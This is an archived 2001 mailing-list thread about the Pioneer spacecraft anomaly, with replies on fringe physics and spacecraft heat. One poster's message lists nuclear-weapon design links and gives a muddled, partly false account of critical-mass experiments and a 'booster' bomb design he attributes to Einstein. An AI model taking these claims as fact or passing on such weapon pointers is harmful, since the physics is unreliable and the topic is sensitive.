deviation in the > force of gravity that is apparent only across > vast distances. It has also been pointed out > that the strength of the effect seems to be > related to two of the Universe's physical > constants: the speed of light and the speed of > the expansion of the Universe. > > But others have dismissed this as being too > fanciful, arguing that if the Pioneer anomaly > was really indicative of a change in our > understanding of gravity, then it would be > apparent in the orbits of the planets around > the Sun - which it is not. > > The effect is as yet unexplained and with all > four affected probes never to return to Earth > for analysis, it may well remain that way. > --part1_96.1455b238.28346c5e_boundary Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Received: from rly-yg04.mx.aol.com (rly-yg04.mail.aol.com [172.18.147.4]) by air-yg02.mail.aol.com (v77_r1.36) with ESMTP; Wed, 16 May 2001 15:23:59 -0400 Received: from fw01.collins.rockwell.com (gatekeeper.collins.rockwell.com [205.175.225.1]) by rly-yg04.mx.aol.com (v77_r1.36) with ESMTP; Wed, 16 May 2001 15:23:24 -0400 Received: by fw01.collins.rockwell.com; id OAA19439; Wed, 16 May 2001 14:23:19 -0500 (CDT) From: Received: from nodnsquery(131.198.213.32) by fw01.collins.rockwell.com via smap (V5.5) id xma018675; Wed, 16 May 01 14:22:03 -0500 Subject: Mystery force tugs distant probes To: kellyst@aol.com, ""Rhonda Elpers"" , sjhootma@collins.rockwell.com, kathan_1@yahoo.com, kath2go@yahoo.com, Kryswalker@aol.com Date: Wed, 16 May 2001 14:21:18 -0500 Message-ID: X-MIMETrack: Serialize by Router on CollinsCRSMTP01/CedarRapids/Collins/Rockwell(Release 5.0.6 |December 14, 2000) at 05/16/2001 02:22:04 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Mailer: Unknown (No Version) http://news.bbc.co.uk/hi/english/sci/tech/newsid_1332000/1332368.stm Tuesday, 15 May, 2001, 15:46 GMT 16:46 UK Mystery force tugs distant probes The Pioneer craft are heading towards the stars By BBC News Online science editor Dr David Whitehouse An unexplained force is pulling on distant spacecraft. Researchers have come to this conclusion after a thorough analysis of the deep-space probes' trajectories. It could be just a tiny unnoticed effect in the spacecraft themselves, but scientists warn it could also be the first hint that modifications need to be made to our understanding of the force of gravity. ""It is almost as if the probes are not behaving according to the known law of gravity,"" said Dr John Anderson, of the American space agency's (Nasa) Jet Propulsion Laboratory, and lead scientist on the study. He said: ""We've been working on this problem for several years, and we have accounted for everything we could think of."" Great detail The unexplained force appears to be acting on four deep-space probes scattered around the Solar System. Pioneer 10 was launched towards the outer planets in 1972. It is now well beyond Jupiter but still in radio contact with Earth. By studying the Doppler shift (the ""stretching"") of the radio signals from the probe, scientists have been able to calculate how fast the craft is travelling. Since 1980, its trajectory has been mapped in very great detail. The puzzle is that Pioneer 10 is slowing more quickly than it should. It was initially suggested that this might be due to the force from a tiny gas leak or that it was being pulled off course by the gravity of an unseen Solar System object. Unseen body The mystery deepened further when an analysis of the trajectory being followed by its sister spacecraft, Pioneer 11, launched in 1973, showed that it too was being subjected to the same mysterious effect. But Pioneer 11 is on the opposite side of the Solar System from Pioneer 10, about 22 billion km (about 14 billion miles) away. This means the effect cannot be the gravitational effect of some unseen body. Add to all this hints that the same unexplained effect might have been acting on the Galileo spacecraft on its journey to Jupiter, and the Ulysses spaceprobe that is circling the Sun, and you have a Solar System-wide puzzle. In a report soon to be published in a major astronomical journal, Dr Anderson and colleagues have carried out an impressive study of the state of the Pioneer spacecraft and all the tiny forces to which they could be subjected. Planets unaffected ""Our analysis strongly suggests that it is difficult to understand how any of these mechanisms can explain the magnitude of the observed behaviour of the Pioneer anomaly,"" the team says. It has been suggested that the spacecraft tracking data have shown a deviation in the force of gravity that is apparent only across vast distances. It has also been pointed out that the strength of the effect seems to be related to two of the Universe's physical constants: the speed of light and the speed of the expansion of the Universe. But others have dismissed this as being too fanciful, arguing that if the Pioneer anomaly was really indicative of a change in our understanding of gravity, then it would be apparent in the orbits of the planets around the Sun - which it is not. The effect is as yet unexplained and with all four affected probes never to return to Earth for analysis, it may well remain that way. --part1_96.1455b238.28346c5e_boundary-- >From VM Wed May 16 17:13:40 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""252"" ""Wednesday"" ""16"" ""May"" ""2001"" ""03:01:59"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""6"" ""starship-design: unknown force"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 252 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4H09jT05732 for starship-design-outgoing; Wed, 16 May 2001 17:09:45 -0700 (PDT) Received: from main.jetnet.ab.ca (root@jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4H09fw05711 for ; Wed, 16 May 2001 17:09:44 -0700 (PDT) Received: from jetnet.ab.ca (dialin49.jetnet.ab.ca [207.153.6.49]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id SAA02760 for ; Wed, 16 May 2001 18:09:36 -0600 (MDT) Message-ID: <3B024207.613F067D@jetnet.ab.ca> X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i586) X-Accept-Language: en MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu To: ""starship-design@lists.uoregon.edu"" Subject: starship-design: unknown force Date: Wed, 16 May 2001 03:01:59 -0600 try autodynamics to explain the gravity problem. http://www.autodynamics.org/ -- ""We do not inherit our time on this planet from our parents... We borrow it from our children."" ""Luna family of Octal Computers"" http://www.jetnet.ab.ca/users/bfranchuk >From VM Thu May 17 10:26:49 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""317"" ""Wednesday"" ""16"" ""May"" ""2001"" ""17:25:59"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""7"" ""starship-design: unknown force"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 317 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4H0QfV13038 for starship-design-outgoing; Wed, 16 May 2001 17:26:41 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4H0Qew13029 for ; Wed, 16 May 2001 17:26:40 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [206.163.182.194]) by clavin.efn.org (8.10.1/8.10.1) with ESMTP id f4H0Qdf07838 for ; Wed, 16 May 2001 17:26:39 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.10.1/8.10.1) id f4H0Q0W02314; Wed, 16 May 2001 17:26:00 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15107.6807.746072.201861@tzadkiel.efn.org> In-Reply-To: <3B024207.613F067D@jetnet.ab.ca> References: <3B024207.613F067D@jetnet.ab.ca> X-Mailer: VM 6.92 under 21.1 (patch 14) ""Cuyahoga Valley"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: ""starship-design@lists.uoregon.edu"" Subject: starship-design: unknown force Date: Wed, 16 May 2001 17:25:59 -0700 Ben Franchuk writes: > try autodynamics to explain the gravity problem. > http://www.autodynamics.org/ As far as I can tell autodynamics is run-of-the mill kook physics. If you think it really explains this situation, perhaps you'd like to run the numbers and show whether it really does explain the discrepancy. >From VM Thu May 17 10:26:49 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""763"" ""Wednesday"" ""16"" ""May"" ""2001"" ""03:38:55"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""21"" ""Re: starship-design: unknown force"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 763 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4H0kbV22339 for starship-design-outgoing; Wed, 16 May 2001 17:46:37 -0700 (PDT) Received: from main.jetnet.ab.ca (root@jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4H0kaw22221 for ; Wed, 16 May 2001 17:46:36 -0700 (PDT) Received: from jetnet.ab.ca (dialin49.jetnet.ab.ca [207.153.6.49]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id SAA03752 for ; Wed, 16 May 2001 18:46:32 -0600 (MDT) Message-ID: <3B024AAF.E5720399@jetnet.ab.ca> X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i586) X-Accept-Language: en MIME-Version: 1.0 References: <3B024207.613F067D@jetnet.ab.ca> <15107.6807.746072.201861@tzadkiel.efn.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu CC: ""starship-design@lists.uoregon.edu"" Subject: Re: starship-design: unknown force Date: Wed, 16 May 2001 03:38:55 -0600 Steve VanDevender wrote: > > Ben Franchuk writes: > > try autodynamics to explain the gravity problem. > > http://www.autodynamics.org/ > > As far as I can tell autodynamics is run-of-the mill kook physics. If > you think it really explains this situation, perhaps you'd like to run > the numbers and show whether it really does explain the discrepancy. Why not just read the PDF file your self. I would post the URL but the site uses #$@! Frames. The magnitude of the error is very small, thus very few people are JUMPING UP AND DOWN claming the END of the world over this! Ben. -- ""We do not inherit our time on this planet from our parents... We borrow it from our children."" ""Luna family of Octal Computers"" http://www.jetnet.ab.ca/users/bfranchuk >From VM Thu May 17 10:26:49 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""12667"" ""Wednesday"" ""16"" ""May"" ""2001"" ""20:56:52"" ""EDT"" ""STAR1SHIP@aol.com"" ""STAR1SHIP@aol.com"" nil ""260"" ""Re: starship-design: unknown force"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 12667 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4H0vHb25127 for starship-design-outgoing; Wed, 16 May 2001 17:57:18 -0700 (PDT) Received: from imo-m09.mx.aol.com (imo-m09.mx.aol.com [64.12.136.164]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4H0vGw25117 for ; Wed, 16 May 2001 17:57:16 -0700 (PDT) Received: from STAR1SHIP@aol.com by imo-m09.mx.aol.com (mail_out_v30.10.) id s.fd.65d3fa8 (3974); Wed, 16 May 2001 20:56:53 -0400 (EDT) Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""part1_fd.65d3fa8.28347bd4_boundary"" X-Mailer: AOL 6.0 for Windows US sub 2594 Precedence: bulk Reply-To: STAR1SHIP@aol.com From: STAR1SHIP@aol.com Sender: owner-starship-design@lists.uoregon.edu To: stevev@efn.org CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: unknown force Date: Wed, 16 May 2001 20:56:52 EDT --part1_fd.65d3fa8.28347bd4_boundary Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In a message dated 5/16/01 5:27:11 PM Pacific Daylight Time, stevev@efn.org writes: > Ben Franchuk writes: > > try autodynamics to explain the gravity problem. > > http://www.autodynamics.org/ > > As far as I can tell autodynamics is run-of-the mill kook physics. If > you think it really explains this situation, perhaps you'd like to run > the numbers and show whether it really does explain the discrepancy. > > > > Gee Steve. Why don't you tell us how you really feel :-) I do not agree with Ben and auto dynamics but they do seem to be more on the ball than the traditional old fashion theories you spout ad naseaum. By the way, how are you coming on competing the incomplete Bohr atom model and adding a gravitational component and explaining how your theory violates universal law of like charges repel and yet remain taught today as a valid theory. Examiners of new theories are of three minds. 1 Skeptic, 2. Objective, 3 Open minded. I discard skeptics as they take the lazy position and will not take the burden of proof supporting their opinion, and I discard the open minded as the last person that wanted me to be open minded wanted to dance with my wife, seems many have the neurotic view to do as the Romans do. Objective examination required of new knowledge means that you own teachings are examined with the same diligence that the new knowledge is. That your beliefs are widely taught and published is not proof of validly. Take you own medicine and explain the gravitational anomaly observed. Tom Atomic Rocket and atomic bomb designs of Tom Jackson My stuff has * prefix *Star Ship Number 1- Bio info http://hometown.aol.com/star1ship/myhomepage/index.html * Transporter Room (Table of site contents) http://members.aol.com/tjac780754/index.htm#TRANSPORT *A Definitive Analysis of Atomic Power- Applied physics http://members.aol.com/tjac780754/indexda.htm * Plasma Rocket Engine- Patent Pending http://members.aol.com/tjac780754/indexb.htm Other Public domain sites related to atomic bomb and rocket designing Summary of Critical Accidents in USAEC, 1945-1970 http://nuketesting.enviroweb.org/accident/critical.htm Shows the experiment methodology to measure the critical mass of radioactive metal disks, cylinder or spheres by stacking 1/2 cubes and 1/2*1/2*1"" shapes in rough disk, cylinder or sphere shape by using inert plastic cubes for support and ease of disassembly to find the chosen shapes melting point coined critical mass as a function of isotope, mass and shape. The Radioactive Boy Scout http://www.dangerouslaboratories.org/radscout.html How to build working breeder reactor to make bomb grade material from public available sources The Manhattan Project http://www.enviroweb.org/issues/nuketesting/hew/Usa/Med/Med.html No bomb designing here just theoretical physics speculation and released misinformation that can be waded through for the few facts Documentation and Diagrams of the Atomic Bomb http://serendipity.magnet.ch/more/atomic.htm Outlaw labs public domain design with more speculation in theoretical physics based on chain reaction theory Nuclear Weapon Diagrams http://sun00781.dn.net/nuke/hew/Library/Brown/ Good list and graphics of theoretical proposed designs from Manhattan project based on chain reaction theory Building the Bomb on a Budget http://www.cantrip.org/bomb.html To keep your sense of humor How to Make an H-bomb http://www.infinet.com/~dionisio/fun/make-your-own-h-bomb.html More to keep your sense of humor. Advanced Propulsion Concepts http://sec353.jpl.nasa.gov/apc/ Nasa's state of the art in atomic propulsion on the drawing boards Advanced Propulsion Concepts-fission fragment rocket http://sec353.jpl.nasa.gov/apc/Nuclear/10.html NASA's fastest proposal with 1,000,000 for specific impulse Hector Parr's Essays: Time and Quantum Measurement http://www.c-parr.freeserve.co.uk/hcp/quantum.htm Seems Einstein's theoretical physics may have been better than the conventional theoretical physics widely taught in conventional formal classes MILNET: Carey Sublette's Nuclear Weapons FAQ http://www.milnet.com/milnet/nukeweap/Nfaq4.html Carey has not claimed to have designed a bomb but does have some interesting links to public domain speculative designs with a link to CD for sell ""Swords of Armageddon"". If memory serves. Not reviewed as my work is based on free info available in public domain or free public library. Declassified 1943 bomb design documents http://lib-www.lanl.gov/la-pubs/00349710.pdf Shows why critical mass is not a calculation with incomplete theoretical atomic physics equations of chain reaction speculated on, but requires a direct physical measurement of radioactive metals available. Also included are the disk, cylinder and sphere devices proposed by Einstein with his booster design to obtain yields greater than that available with critical mass upper limit designs by placing subcritical masses of radioactive metal isotopes of 20% or greater purity between primary atomic explosions and the casing walls to so fission and fusion from the inserts at higher than conventional chemical mass impact velocities to give the required inertia or momentum of impact shock waves on disk faces, cylinder center line and sphere center to enable the pyrophoretic properties of radioactive metals by impact found by accident again by the radioactive boyscout above when he hammered on the stuff with a screwdiver and in and another 40's critical mass accident (above link) when a metal brick was dropped on a sub critical mass. --part1_fd.65d3fa8.28347bd4_boundary Content-Type: text/html; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In a message dated 5/16/01 5:27:11 PM Pacific Daylight Time, stevev@efn.org writes: Ben Franchuk writes: > try autodynamics to explain the gravity problem. > http://www.autodynamics.org/ As far as I can tell autodynamics is run-of-the mill kook physics.  If you think it really explains this situation, perhaps you'd like to run the numbers and show whether it really does explain the discrepancy. Gee Steve. Why don't you tell us how you really feel :-) I do not agree with Ben and auto dynamics but they do seem to be more on the ball than the traditional old fashion theories you spout ad naseaum. By the way, how are you coming on competing the incomplete Bohr atom model and adding a gravitational component and explaining how your theory violates universal law of like charges repel and yet remain taught today as a valid theory. Examiners of new theories are of three minds. 1 Skeptic, 2. Objective, 3 Open minded.  I discard skeptics as they take the lazy position and will not take the burden of proof supporting their opinion, and I discard the open minded as the last person that wanted me to be open minded wanted to dance with my wife, seems many have the neurotic view to do as the Romans do. Objective examination required of new knowledge means that you own teachings are examined with the same diligence that the new knowledge is. That your beliefs are widely taught and published is not proof of validly. Take you own medicine and explain the gravitational anomaly observed. Tom Atomic Rocket and atomic bomb designs of Tom Jackson My stuff has * prefix *Star Ship Number 1- Bio info http://hometown.aol.com/star1ship/myhomepage/index.html * Transporter Room (Table of site contents) http://members.aol.com/tjac780754/index.htm#TRANSPORT *A Definitive Analysis of Atomic Power- Applied physics http://members.aol.com/tjac780754/indexda.htm * Plasma Rocket Engine- Patent Pending http://members.aol.com/tjac780754/indexb.htm Other Public domain sites related to atomic bomb and rocket designing Summary of Critical Accidents in USAEC, 1945-1970 http://nuketesting.enviroweb.org/accident/critical.htm  Shows the experiment methodology to measure the critical mass of radioactive metal disks, cylinder or spheres by stacking 1/2 cubes and 1/2*1/2*1"" shapes in rough disk, cylinder or sphere shape by using inert plastic cubes for support and ease of disassembly to find the chosen shapes melting point coined critical mass as a function of isotope, mass and shape.   The Radioactive Boy Scout  http://www.dangerouslaboratories.org/radscout.html  How to build working breeder reactor to make bomb grade material from  public available sources The Manhattan Project http://www.enviroweb.org/issues/nuketesting/hew/Usa/Med/Med.html  No bomb designing here just theoretical physics speculation and released misinformation that can be waded through for the few facts Documentation and Diagrams of the Atomic Bomb http://serendipity.magnet.ch/more/atomic.htm  Outlaw labs public domain design with  more speculation in theoretical physics based on chain reaction theory Nuclear Weapon Diagrams http://sun00781.dn.net/nuke/hew/Library/Brown/   Good list and graphics of theoretical proposed designs from Manhattan project based on chain reaction theory Building the Bomb on a Budget http://www.cantrip.org/bomb.html     To keep your sense of humor How to Make an H-bomb http://www.infinet.com/~dionisio/fun/make-your-own-h-bomb.html     More to keep your sense of humor. Advanced Propulsion Concepts http://sec353.jpl.nasa.gov/apc/     Nasa's state of the art in atomic propulsion on the drawing boards Advanced Propulsion Concepts-fission fragment rocket http://sec353.jpl.nasa.gov/apc/Nuclear/10.html     NASA's fastest proposal with 1,000,000 for specific impulse Hector Parr's Essays: Time and Quantum Measurement http://www.c-parr.freeserve.co.uk/hcp/quantum.htm    Seems Einstein's theoretical physics may have been better than the conventional    theoretical physics widely taught in conventional formal classes MILNET: Carey Sublette's Nuclear Weapons FAQ http://www.milnet.com/milnet/nukeweap/Nfaq4.html    Carey has not claimed to have designed a bomb but does have some interesting    links to public domain speculative designs with a link to CD for sell ""Swords of Armageddon"".    If memory serves. Not reviewed as my work is based on free info available in public domain or free public library. Declassified 1943 bomb design documents http://lib-www.lanl.gov/la-pubs/00349710.pdf   Shows why critical mass is not a calculation with incomplete theoretical atomic physics equations of chain reaction speculated on, but requires a direct physical measurement of radioactive metals available. Also included are the disk, cylinder and sphere devices proposed by Einstein with his booster design to obtain yields greater than that available with critical mass upper limit designs by placing subcritical masses of radioactive metal isotopes of 20% or greater purity between primary atomic explosions and the casing walls to so fission and fusion from the inserts at higher than conventional chemical mass impact velocities to give the required inertia or momentum of impact shock waves on disk faces, cylinder center line and sphere center to enable the pyrophoretic properties of radioactive metals by impact found by accident again by the radioactive boyscout  above when he hammered on the stuff with a screwdiver and in and another 40's critical mass accident (above link) when a metal brick was dropped on a sub critical mass.    --part1_fd.65d3fa8.28347bd4_boundary-- >From VM Thu May 17 10:26:49 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""5846"" ""Wednesday"" ""16"" ""May"" ""2001"" ""23:25:00"" ""EDT"" ""STAR1SHIP@aol.com"" ""STAR1SHIP@aol.com"" nil ""132"" ""Re: starship-design: unknown force"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 5846 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4H3Pjw06002 for starship-design-outgoing; Wed, 16 May 2001 20:25:45 -0700 (PDT) Received: from imo-m02.mx.aol.com (imo-m02.mx.aol.com [64.12.136.5]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4H3Piw05996 for ; Wed, 16 May 2001 20:25:44 -0700 (PDT) Received: from STAR1SHIP@aol.com by imo-m02.mx.aol.com (mail_out_v30.10.) id z.86.aab8626 (3974); Wed, 16 May 2001 23:25:00 -0400 (EDT) Message-ID: <86.aab8626.28349e8c@aol.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""part1_86.aab8626.28349e8c_boundary"" X-Mailer: AOL 6.0 for Windows US sub 2594 Precedence: bulk Reply-To: STAR1SHIP@aol.com From: STAR1SHIP@aol.com Sender: owner-starship-design@lists.uoregon.edu To: bfranchuk@jetnet.ab.ca CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: unknown force Date: Wed, 16 May 2001 23:25:00 EDT --part1_86.aab8626.28349e8c_boundary Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In a message dated 5/16/01 6:14:07 PM Pacific Daylight Time, bfranchuk@jetnet.ab.ca writes: > > STAR1SHIP@aol.com wrote: > > > > Part 1.1 Type: Plain Text (text/plain) > > Encoding: 7bit > > Arg !!! The dreaded plain text file! > The strange thing is that Autodynamics was developed to > explain radioactive decay that SR could not do. With all > the ATOMIC materal listed above one would think a theory that > COULD explain radioactive decay better would be useful. > Ben. > PS. I wish NASA would spend more time on a useable transport > into space rather than all the PAPERS on everything but space > transport into low orbit. > Also why is it that RUSSIA had the first space tourist? > > -- > ""We do not inherit our time on this planet from our parents... > We borrow it from our children."" > ""Luna family of Octal Computers"" http://www.jetnet.ab.ca/users/bfranchuk > > > Thanks for reply Ben. Did my long text not come through? It showed on my copy from starship design lists but i did not write--> >STAR1SHIP@aol.com wrote: > > Part 1.1 Type: Plain Text (text/plain) > Encoding: 7bit Whats up, could my post of been two long for kellys mailer. In short what i did write was ----- Gee Steve. Why don't you tell us how you really feel :-) I do not agree with Ben and auto dynamics but they do seem to be more on the ball than the traditional old fashion theories you spout ad naseaum. By the way, how are you coming on competing the incomplete Bohr atom model and adding a gravitational component and explaining how your theory violates universal law of like charges repel and yet remain taught today as a valid theory. Examiners of new theories are of three minds. 1 Skeptic, 2. Objective, 3 Open minded. I discard skeptics as they take the lazy position and will not take the burden of proof supporting their opinion, and I discard the open minded as the last person that wanted me to be open minded wanted to dance with my wife, seems many have the neurotic view to do as the Romans do. Objective examination required of new knowledge means that you own teachings are examined with the same diligence that the new knowledge is. That your beliefs are widely taught and published is not proof of validly. Take you own medicine and explain the gravitational anomaly observed. Tom and a bunch of links --part1_86.aab8626.28349e8c_boundary Content-Type: text/html; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In a message dated 5/16/01 6:14:07 PM Pacific Daylight Time, bfranchuk@jetnet.ab.ca writes: STAR1SHIP@aol.com wrote: > >    Part 1.1    Type: Plain Text (text/plain) >            Encoding: 7bit Arg !!! The dreaded plain text file! The strange thing is that Autodynamics was developed to explain radioactive decay that SR could not do. With all the ATOMIC materal listed above one would think a theory that COULD explain radioactive decay better would be useful. Ben. PS. I wish NASA would spend more time on a useable transport into space rather than all the PAPERS on everything but space transport into low orbit. Also why is it that RUSSIA had the first space tourist? -- ""We do not inherit our time on this planet from our parents... We borrow it from our children."" ""Luna family of Octal Computers"" http://www.jetnet.ab.ca/users/bfranchuk Thanks for reply Ben. Did my long text not come through? It showed on my copy from starship design lists  but i did not write--> >STAR1SHIP@aol.com wrote: > >    Part 1.1    Type: Plain Text (text/plain) >            Encoding: 7bit Whats up, could my post of been two long for kellys mailer. In short what i did write was ----- Gee Steve. Why don't you tell us how you really feel :-) I do not agree with Ben and auto dynamics but they do seem to be more on the ball than the traditional old fashion theories you spout ad naseaum. By the way, how are you coming on competing the incomplete Bohr atom model and adding a gravitational component and explaining how your theory violates universal law of like charges repel and yet remain taught today as a valid theory. Examiners of new theories are of three minds. 1 Skeptic, 2. Objective, 3 Open minded. I discard skeptics as they take the lazy position and will not take the burden of proof supporting their opinion, and I discard the open minded as the last person that wanted me to be open minded wanted to dance with my wife, seems many have the neurotic view to do as the Romans do. Objective examination required of new knowledge means that you own teachings are examined with the same diligence that the new knowledge is. That your beliefs are widely taught and published is not proof of validly. Take you own medicine and explain the gravitational anomaly observed. Tom and a bunch of links --part1_86.aab8626.28349e8c_boundary-- >From VM Thu May 17 10:26:49 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""471"" ""Wednesday"" ""16"" ""May"" ""2001"" ""22:59:22"" ""-0500"" ""Gene & James Marlin"" ""rmarlin@network-one.com"" nil ""11"" ""starship-design: Re: Mystery force tugs "" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 471 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4H3xx414640 for starship-design-outgoing; Wed, 16 May 2001 20:59:59 -0700 (PDT) Received: from mail.bignetsouth.net (mail.ayrix.net [64.49.1.26]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4H3xvw14608 for ; Wed, 16 May 2001 20:59:58 -0700 (PDT) Received: from y4c7d6 ([64.49.6.76]) by mail.bignetsouth.net (Post.Office MTA v3.5.3 release 223 ID# 0-57710U53000L800S0V35) with SMTP id net for ; Thu, 17 May 2001 00:07:59 -0400 Message-ID: <001a01c0de85$c6205c00$4c063140@y4c7d6> References: <96.1455b238.28346c5e@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Precedence: bulk Reply-To: rmarlin@network-one.com (Gene & James Marlin) From: rmarlin@network-one.com (Gene & James Marlin) Sender: owner-starship-design@lists.uoregon.edu To: Subject: starship-design: Re: Mystery force tugs Date: Wed, 16 May 2001 22:59:22 -0500 This ""news"" is getting to be two or three years old now, and yet it still circulates. The solution was found a long time ago- IR photon pressure from the RTG power supplies aboard all four probes causes the (extremely minute) deltaV. After many years of flight, that minute deltaV becomes readily detectable. I'm very surprised this made it to the list. Now, what is this about rewriting physics on four data points that are not readily reproducible? Really now. -Gene >From VM Thu May 17 10:26:49 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""743"" ""Wednesday"" ""16"" ""May"" ""2001"" ""07:04:23"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""20"" ""Re: starship-design: Re: Mystery force tugs"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 743 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4H4C5S17003 for starship-design-outgoing; Wed, 16 May 2001 21:12:05 -0700 (PDT) Received: from main.jetnet.ab.ca (root@jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4H4C2w16994 for ; Wed, 16 May 2001 21:12:02 -0700 (PDT) Received: from jetnet.ab.ca (dialin56.jetnet.ab.ca [207.153.6.56]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id WAA08852 for ; Wed, 16 May 2001 22:11:58 -0600 (MDT) Message-ID: <3B027AD7.36277621@jetnet.ab.ca> X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i586) X-Accept-Language: en MIME-Version: 1.0 References: <96.1455b238.28346c5e@aol.com> <001a01c0de85$c6205c00$4c063140@y4c7d6> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: Re: Mystery force tugs Date: Wed, 16 May 2001 07:04:23 -0600 Gene & James Marlin wrote: > > This ""news"" is getting to be two or three years old now, and yet it still > circulates. The solution was found a long time ago- IR photon pressure from > the RTG power supplies aboard all four probes causes the (extremely minute) > deltaV. After many years of flight, that minute deltaV becomes readily > detectable. I don't buy that idea, with out more details. > I'm very surprised this made it to the list. Now, what is this about > rewriting physics on four data points that are not readily reproducible? > Really now. > > -Gene -- ""We do not inherit our time on this planet from our parents... We borrow it from our children."" ""Luna family of Octal Computers"" http://www.jetnet.ab.ca/users/bfranchuk >From VM Thu May 17 13:39:49 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1180"" ""Thursday"" ""17"" ""May"" ""2001"" ""13:17:52"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""26"" ""Re: starship-design: Re: Mystery force tugs"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 1180 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4HKIjE04425 for starship-design-outgoing; Thu, 17 May 2001 13:18:45 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4HKIiw04415 for ; Thu, 17 May 2001 13:18:44 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [206.163.182.194]) by clavin.efn.org (8.10.1/8.10.1) with ESMTP id f4HKIgf19809 for ; Thu, 17 May 2001 13:18:42 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.10.1/8.10.1) id f4HKHs805160; Thu, 17 May 2001 13:17:54 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15108.12784.990223.261001@tzadkiel.efn.org> In-Reply-To: <3B027AD7.36277621@jetnet.ab.ca> References: <96.1455b238.28346c5e@aol.com> <001a01c0de85$c6205c00$4c063140@y4c7d6> 